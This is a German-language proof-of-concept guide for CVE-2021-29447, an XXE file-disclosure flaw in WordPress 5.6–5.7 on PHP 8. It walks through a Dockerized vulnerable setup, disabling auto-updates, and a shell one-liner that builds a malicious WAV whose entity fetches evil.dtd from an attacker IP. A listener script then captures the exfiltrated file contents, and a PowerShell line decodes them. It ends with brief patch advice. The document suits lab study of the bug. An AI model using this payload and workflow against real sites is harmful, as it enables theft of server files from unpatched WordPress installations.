
Proof-of-concept-Exploit für CVE-2021-29447, eine XXE-Injektions-Schwachstelle in WordPress 5.6–5.7 durch bösartiges Hochladen einer WAV-Datei, die die Offenlegung beliebiger Dateien auf PHP 8.0+ ermöglicht.
CVE-2021-29447 ist eine XML-External-Entity-(XXE)-Injection-Schwachstelle, die WordPress-Versionen 5.6–5.7 betrifft (gepatcht in 5.7.1), wenn PHP 8.0+ ausgeführt wird. Die Schwachstelle befindet sich in der getID3-Bibliothek, die zum Parsen von Medienmetadaten verwendet wird.
WordPress verarbeitet iXML-Chunks von WAV-Dateien über getID3, das simplexml_load_string() mit dem LIBXML_NOENT-Flag aufruft. Dieses Flag aktiviert explizit die Substitution externer Entitäten und umgeht die standardmäßigen XXE-Schutzmaßnahmen von PHP 8 (veraltet libxml_disable_entity_loader()).
Dieser PoC demonstriert die Schwachstelle unter Verwendung von Dockerized WordPress 5.7 + PHP 8.0.3. Linux-Benutzer können ein Einzeldatei-Skript verwenden, das auch die WAV/DTD-Dateien generiert.
▶️: https://youtu.be/YnGowuWHFyY
Installieren Sie Docker Desktop auf dem Windows-Host
Erstellen Sie ein dediziertes Projektverzeichnis (alle PowerShell-Befehle werden hier ausgeführt):
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
Stellen Sie das verwundbare WordPress bereit:
#powershell
notepad docker-compose.yml
Kopieren und fügen Sie den Inhalt von docker-compose.yml ein
Starten Sie die Container:
#powershell
docker-compose up -d
Deaktivieren Sie automatische Updates (entscheidend für die Aufrechterhaltung der Schwachstelle):
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
Überprüfen Sie die verwundbaren Versionen:
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
Erwartet: WordPress 5.7, PHP 8.0+
WordPress-Installation:
Navigieren Sie zu: http://localhost:8080
Admin: test / test / [email protected]
Schließen Sie die Einrichtung ab → Zugriff auf /wp-admin
Ermittlung der Angreifer-IP:
#powershell
ipconfig | findstr IPv4
Notieren Sie Ihre IP (z.B. 192.168.1.196)
Erstellen Sie die DTD-Payload:
#powershell
notepad evil.dtd
Kopieren und fügen Sie den Inhalt von evil.dtd ein
Generieren Sie die WAV-Payload (Linux CLI):
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Übertragen Sie über python3 -m http.server 8000 → Download im Windows-Browser (z.B. http://<VM_IP>:8000)
Hinweis: WAV wurde aufgrund der Komplexität des Binär-Escapings in Windows-Umgebungen separat erstellt
Stellen Sie den Exploit-Server bereit:
#powershell
notepad exploit.py
Kopieren und fügen Sie den Inhalt von exploit.py ein
Befehl:
#powershell
python exploit.py -l YOUR_IP -p PORT
XXE auslösen:
http://localhost:8080/wp-admin → Medien → Neue Datei hinzufügen
Laden Sie payload.wav hoch
Überwachen Sie die Python-Server-Konsole → erfassen Sie exfiltrierte Daten
Dekodieren Sie die Base64+Zlib-Payload:
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
Aktualisieren Sie auf WordPress 5.7.1+ oder deaktivieren Sie LIBXML_NOENT in der getID3-Parsing.